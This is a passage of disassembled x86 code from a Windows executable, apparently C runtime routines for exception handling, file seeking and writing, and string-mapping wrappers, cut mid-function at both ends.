loc_422CE8: ; CODE XREF: sub_422B62+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D29E
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422D02: ; CODE XREF: sub_422B62+6Aj
; sub_422B62+7Cj ...
call sub_422E52
loc_422D07: ; CODE XREF: sub_422B62+98j
; sub_422B62+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_422D0B: ; CODE XREF: sub_422B62+2Ej
; sub_422B62+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422B62 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D26 proc near ; CODE XREF: sub_422651+170p
; sub_422AF2+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422D6D
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422D6D
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41D29E
or [ebp+var_4], 0FFFFFFFFh
loc_422D6D: ; CODE XREF: sub_422D26+2Aj
; sub_422D26+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422D26 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp
; sub_422B62+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422DAE
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422DAE: ; CODE XREF: sub_422D8D+12j
pop esi
retn
sub_422D8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DB0 proc near ; CODE XREF: sub_41D331+40p
; sub_4228FD+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D61D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_422DEF
mov ecx, 2
loc_422DEF: ; CODE XREF: sub_422DB0+38j
push ecx
call sub_41D61D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j
; sub_42299B:loc_4229ACj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DBE84
test eax, eax
jz short loc_422E44
mov [ebp+var_4], 1
call eax
jmp short loc_422E40
; ---------------------------------------------------------------------------
loc_422E39: ; DATA XREF: .packed:00427900o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E3D: ; DATA XREF: .packed:00427904o
mov esp, [ebp+var_18]
loc_422E40: ; CODE XREF: sub_422DFC+3Bj
and [ebp+var_4], 0
loc_422E44: ; CODE XREF: sub_422DFC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422E4D: ; DATA XREF: .packed:004278F8o
jmp loc_424FD0
sub_422DFC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p
; sub_41D4D3:loc_41D53Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43D454
test eax, eax
jz short loc_422E9A
mov [ebp+var_4], 1
call eax ; sub_422DFC
jmp short loc_422E96
; ---------------------------------------------------------------------------
loc_422E8F: ; DATA XREF: .packed:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E93: ; DATA XREF: .packed:0042791Co
mov esp, [ebp+var_18]
loc_422E96: ; CODE XREF: sub_422E52+3Bj
and [ebp+var_4], 0
loc_422E9A: ; CODE XREF: sub_422E52+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422EA3: ; DATA XREF: .packed:00427910o
jmp sub_422DFC
sub_422E52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p
; sub_41D9B3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DD3A8
push esi
cmp eax, 3
jnz short loc_422ED1
mov esi, [ebp+arg_0]
push esi
call sub_41E717
test eax, eax
pop ecx
jz short loc_422ECE
mov eax, [esi-4]
sub eax, 9
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422ECE: ; CODE XREF: sub_422EA8+1Cj
push esi
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED1: ; CODE XREF: sub_422EA8+Ej
cmp eax, 2
jnz short loc_422EF5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_422EF5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EA8+2Cj
; sub_422EA8+43j
push [ebp+arg_0]
loc_422EF8: ; CODE XREF: sub_422EA8+27j
push 0
push dword_4DD3A4
call dword_42704C ; RtlSizeHeap
loc_422F06: ; CODE XREF: sub_422EA8+24j
; sub_422EA8+4Bj
pop esi
leave
retn
sub_422EA8 endp
; =============== S U B R O U T I N E =======================================
sub_422F09 proc near ; CODE XREF: sub_41DA8B+67p
; sub_41F9BC+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DD160
push esi
push edi
jnb short loc_422F8B
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD060h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_422F8B
push eax
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422F4D
mov dword_4DBDEC, 9
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F4D: ; CODE XREF: sub_422F09+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_427128 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422F6D
call dword_427094 ; RtlGetLastWin32Error
jmp short loc_422F6F
; ---------------------------------------------------------------------------
loc_422F6D: ; CODE XREF: sub_422F09+5Aj
xor eax, eax
loc_422F6F: ; CODE XREF: sub_422F09+62j
test eax, eax
jz short loc_422F7C
push eax
call sub_420C7F
pop ecx
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F7C: ; CODE XREF: sub_422F09+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_422F9F
; ---------------------------------------------------------------------------
loc_422F8B: ; CODE XREF: sub_422F09+Dj
; sub_422F09+2Aj
and dword_4DBDF0, 0
mov dword_4DBDEC, 9
loc_422F9C: ; CODE XREF: sub_422F09+42j
; sub_422F09+71j
or eax, 0FFFFFFFFh
loc_422F9F: ; CODE XREF: sub_422F09+80j
pop edi
pop esi
pop ebx
retn
sub_422F09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FA3 proc near ; CODE XREF: sub_41DA8B+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_422FBF
mov [edi+4], ebx
loc_422FBF: ; CODE XREF: sub_422FA3+17j
push 1
push ebx
push esi
call sub_422F09
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42302D
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422FE4
sub eax, [edi+4]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_422FE4: ; CODE XREF: sub_422FA3+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_42301E
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DD060[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_423035
mov edx, ecx
loc_42300F: ; CODE XREF: sub_422FA3+79j
cmp edx, eax
jnb short loc_423035
cmp byte ptr [edx], 0Ah
jnz short loc_42301B
inc [ebp+var_8]
loc_42301B: ; CODE XREF: sub_422FA3+73j
inc edx
jmp short loc_42300F
; ---------------------------------------------------------------------------
loc_42301E: ; CODE XREF: sub_422FA3+50j
test dl, 80h
jnz short loc_423035
mov dword_4DBDEC, 16h
loc_42302D: ; CODE XREF: sub_422FA3+2Dj
or eax, 0FFFFFFFFh
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423035: ; CODE XREF: sub_422FA3+68j
; sub_422FA3+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_423043
mov eax, [ebp+var_8]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423043: ; CODE XREF: sub_422FA3+96j
test byte ptr [edi+0Ch], 1
jz loc_4230EE
mov edx, [edi+4]
test edx, edx
jnz short loc_42305C
and [ebp+var_8], edx
jmp loc_4230EE
; ---------------------------------------------------------------------------
loc_42305C: ; CODE XREF: sub_422FA3+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD060h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_4230E8
push 2
push 0
push [ebp+var_C]
call sub_422F09
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4230AF
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_42309A: ; CODE XREF: sub_422FA3+104j
cmp eax, ecx
jnb short loc_4230A9
cmp byte ptr [eax], 0Ah
jnz short loc_4230A6
inc [ebp+arg_0]
loc_4230A6: ; CODE XREF: sub_422FA3+FEj
inc eax
jmp short loc_42309A
; ---------------------------------------------------------------------------
loc_4230A9: ; CODE XREF: sub_422FA3+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_4230E3
; ---------------------------------------------------------------------------
loc_4230AF: ; CODE XREF: sub_422FA3+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422F09
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4230D6
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4230D6
test ch, 4
jz short loc_4230D9
loc_4230D6: ; CODE XREF: sub_422FA3+124j
; sub_422FA3+12Cj
mov eax, [edi+18h]
loc_4230D9: ; CODE XREF: sub_422FA3+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_4230E3: ; CODE XREF: sub_422FA3+10Aj
jz short loc_4230E8
inc [ebp+arg_0]
loc_4230E8: ; CODE XREF: sub_422FA3+D9j
; sub_422FA3:loc_4230E3j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_4230EE: ; CODE XREF: sub_422FA3+A4j
; sub_422FA3+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_4230F6: ; CODE XREF: sub_422FA3+3Cj
; sub_422FA3+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_422FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p
; sub_41E42B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DD160
push esi
push edi
jnb loc_42328F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD060h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_42328F
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42314C
loc_423145: ; CODE XREF: sub_4230FB+177j
xor eax, eax
jmp loc_4232A3
; ---------------------------------------------------------------------------
loc_42314C: ; CODE XREF: sub_4230FB+48j
test al, 20h
jz short loc_42315C
push 2
push edi
push ecx
call sub_422F09
add esp, 0Ch
loc_42315C: ; CODE XREF: sub_4230FB+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_42322B
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_423263
loc_42317C: ; CODE XREF: sub_4230FB+F5j
lea eax, [ebp+var_414]
loc_423182: ; CODE XREF: sub_4230FB+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4231B6
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4231A1
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4231A1: ; CODE XREF: sub_4230FB+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_423182
loc_4231B6: ; CODE XREF: sub_4230FB+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4270F0 ; WriteFile
test eax, eax
jz short loc_423220
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4231F2
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42317C
loc_4231F2: ; CODE XREF: sub_4230FB+EAj
; sub_4230FB+12Ej
xor edi, edi
loc_4231F4: ; CODE XREF: sub_4230FB+150j
; sub_4230FB+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_42328A
cmp [ebp+arg_0], edi
jz short loc_423263
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_423258
mov dword_4DBDEC, 9
mov dword_4DBDF0, eax
jmp loc_4232A0
; ---------------------------------------------------------------------------
loc_423220: ; CODE XREF: sub_4230FB+E0j
call dword_427094 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4231F2
; ---------------------------------------------------------------------------
loc_42322B: ; CODE XREF: sub_4230FB+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_4270F0 ; WriteFile
test eax, eax
jz short loc_42324D
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_42324D: ; CODE XREF: sub_4230FB+145j
call dword_427094 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_423258: ; CODE XREF: sub_4230FB+10Fj
push [ebp+arg_0]
call sub_420C7F
pop ecx
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_423263: ; CODE XREF: sub_4230FB+7Bj
; sub_4230FB+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_423278
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_423145
loc_423278: ; CODE XREF: sub_4230FB+16Fj
mov dword_4DBDEC, 1Ch
mov dword_4DBDF0, edi
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_42328A: ; CODE XREF: sub_4230FB+FEj
sub eax, [ebp+var_10]
jmp short loc_4232A3
; ---------------------------------------------------------------------------
loc_42328F: ; CODE XREF: sub_4230FB+15j
; sub_4230FB+37j
and dword_4DBDF0, 0
mov dword_4DBDEC, 9
loc_4232A0: ; CODE XREF: sub_4230FB+120j
; sub_4230FB+166j ...
or eax, 0FFFFFFFFh
loc_4232A3: ; CODE XREF: sub_4230FB+4Cj
; sub_4230FB+192j
pop edi
pop esi
pop ebx
leave
retn
sub_4230FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p
; sub_41DE4A+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DBE88, edi
jnz short loc_42331E
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427920
mov esi, 100h
push esi
push edi
call dword_427044 ; LCMapStringW
test eax, eax
jz short loc_4232FC
mov dword_4DBE88, ebx
jmp short loc_42331E
; ---------------------------------------------------------------------------
loc_4232FC: ; CODE XREF: sub_4232A8+4Aj
push edi
push edi
push ebx
push offset word_4CB89C
push esi
push edi
call dword_427048 ; LCMapStringA
test eax, eax
jz loc_423436
mov dword_4DBE88, 2
loc_42331E: ; CODE XREF: sub_4232A8+2Ej
; sub_4232A8+52j
cmp [ebp+arg_C], edi
jle short loc_423333
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4234CC
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_423333: ; CODE XREF: sub_4232A8+79j
mov eax, dword_4DBE88
cmp eax, 2
jnz short loc_42335A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427048 ; LCMapStringA
jmp loc_423438
; ---------------------------------------------------------------------------
loc_42335A: ; CODE XREF: sub_4232A8+93j
cmp eax, 1
jnz loc_423436
cmp [ebp+arg_18], edi
jnz short loc_423370
mov eax, dword_4DBEA4
mov [ebp+arg_18], eax
loc_423370: ; CODE XREF: sub_4232A8+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_4270E8 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_423436
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4233CB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_4233CB: ; CODE XREF: sub_4232A8+10Ej
cmp [ebp+var_24], edi
jz short loc_423436
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_4270E8 ; MultiByteToWideChar
test eax, eax
jz short loc_423436
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427044 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_423436
test byte ptr [ebp+arg_4+1], 4
jz short loc_42344A
cmp [ebp+arg_14], edi
jz loc_4234C5
cmp esi, [ebp+arg_14]
jg short loc_423436
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427044 ; LCMapStringW
test eax, eax
jnz loc_4234C5
loc_423436: ; CODE XREF: sub_4232A8+66j
; sub_4232A8+B5j ...
xor eax, eax
loc_423438: ; CODE XREF: sub_4232A8+ADj
; sub_4232A8+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42344A: ; CODE XREF: sub_4232A8+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42347E
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_42347E: ; CODE XREF: sub_4232A8+1C2j
cmp ebx, edi
jz short loc_423436
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427044 ; LCMapStringW
test eax, eax
jz short loc_423436
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4234A5
push edi
push edi
jmp short loc_4234AB
; ---------------------------------------------------------------------------
loc_4234A5: ; CODE XREF: sub_4232A8+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4234AB: ; CODE XREF: sub_4232A8+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_427188 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_423436
loc_4234C5: ; CODE XREF: sub_4232A8+165j
; sub_4232A8+188j
mov eax, esi
jmp loc_423438
sub_4232A8 endp
; =============== S U B R O U T I N E =======================================
sub_4234CC proc near ; CODE XREF: sub_4232A8+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4234E9
loc_4234DC: ; CODE XREF: sub_4234CC+1Bj
cmp byte ptr [eax], 0
jz short loc_4234E9
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4234DC
loc_4234E9: ; CODE XREF: sub_4234CC+Ej
; sub_4234CC+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4234F4
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4234F4: ; CODE XREF: sub_4234CC+21j
mov eax, edx
retn
sub_4234CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234F7 proc near ; CODE XREF: sub_41E1D3+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_423638
test eax, eax
pop ecx
jz loc_42362C
mov ebx, [eax+8]
test ebx, ebx
jz loc_42362C
cmp ebx, 5
jnz short loc_423528
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_423635
; ---------------------------------------------------------------------------
loc_423528: ; CODE XREF: sub_4234F7+23j
cmp ebx, 1
jz loc_423627
mov ecx, dword_4DBEAC
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_4DBEAC, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_423617
mov ecx, dword_43D4D0
mov edx, dword_43D4D4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423577
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43D460h[esi*4]
loc_42356E: ; CODE XREF: sub_4234F7+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_42356E
loc_423577: ; CODE XREF: sub_4234F7+69j
mov eax, [eax]
mov esi, dword_43D4DC
cmp eax, 0C000008Eh
jnz short loc_423592
mov dword_43D4DC, 83h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_423592: ; CODE XREF: sub_4234F7+8Dj
cmp eax, 0C0000090h
jnz short loc_4235A5
mov dword_43D4DC, 81h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235A5: ; CODE XREF: sub_4234F7+A0j
cmp eax, 0C0000091h
jnz short loc_4235B8
mov dword_43D4DC, 84h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235B8: ; CODE XREF: sub_4234F7+B3j
cmp eax, 0C0000093h
jnz short loc_4235CB
mov dword_43D4DC, 85h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235CB: ; CODE XREF: sub_4234F7+C6j
cmp eax, 0C000008Dh
jnz short loc_4235DE
mov dword_43D4DC, 82h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235DE: ; CODE XREF: sub_4234F7+D9j
cmp eax, 0C000008Fh
jnz short loc_4235F1
mov dword_43D4DC, 86h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235F1: ; CODE XREF: sub_4234F7+ECj
cmp eax, 0C0000092h
jnz short loc_423602
mov dword_43D4DC, 8Ah
loc_423602: ; CODE XREF: sub_4234F7+99j
; sub_4234F7+ACj ...
push dword_43D4DC
push 8
call ebx
pop ecx
mov dword_43D4DC, esi
pop ecx
pop esi
jmp short loc_42361F
; ---------------------------------------------------------------------------
loc_423617: ; CODE XREF: sub_4234F7+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_42361F: ; CODE XREF: sub_4234F7+11Ej
mov eax, [ebp+arg_0]
mov dword_4DBEAC, eax
loc_423627: ; CODE XREF: sub_4234F7+34j
or eax, 0FFFFFFFFh
jmp short loc_423635
; ---------------------------------------------------------------------------
loc_42362C: ; CODE XREF: sub_4234F7+Fj
; sub_4234F7+1Aj
push [ebp+arg_4]
call dword_427040 ; UnhandledExceptionFilter
loc_423635: ; CODE XREF: sub_4234F7+2Cj
; sub_4234F7+133j
pop ebx
pop ebp
retn
sub_4234F7 endp
; =============== S U B R O U T I N E =======================================
sub_423638 proc near ; CODE XREF: sub_4234F7+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4D8
cmp dword_43D458, edx
push esi
mov eax, offset dword_43D458
jz short loc_423665
lea esi, [ecx+ecx*2]
lea esi, ds:43D458h[esi*4]
loc_42365A: ; CODE XREF: sub_423638+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423665
cmp [eax], edx
jnz short loc_42365A
loc_423665: ; CODE XREF: sub_423638+16j
; sub_423638+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D458h[ecx*4]
cmp eax, ecx
jnb short loc_423678
cmp [eax], edx
jz short locret_42367A
loc_423678: ; CODE XREF: sub_423638+3Aj
xor eax, eax
locret_42367A: ; CODE XREF: sub_423638+3Ej
retn
sub_423638 endp
; =============== S U B R O U T I N E =======================================
sub_42367B proc near ; CODE XREF: sub_41E1D3+A5p
cmp dword_4DD3B4, 0
jnz short loc_423689
call sub_420B0D
loc_423689: ; CODE XREF: sub_42367B+7j
push esi
mov esi, dword_4DD3AC
mov al, [esi]
cmp al, 22h
jnz short loc_4236BB
loc_423696: ; CODE XREF: sub_42367B+33j
; sub_42367B+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_4236B3
test al, al
jz short loc_4236B3
movzx eax, al
push eax
call sub_424FE7
test eax, eax
pop ecx
jz short loc_423696
inc esi
jmp short loc_423696
; ---------------------------------------------------------------------------
loc_4236B3: ; CODE XREF: sub_42367B+21j
; sub_42367B+25j
cmp byte ptr [esi], 22h
jnz short loc_4236C5
loc_4236B8: ; CODE XREF: sub_42367B+52j
inc esi
jmp short loc_4236C5
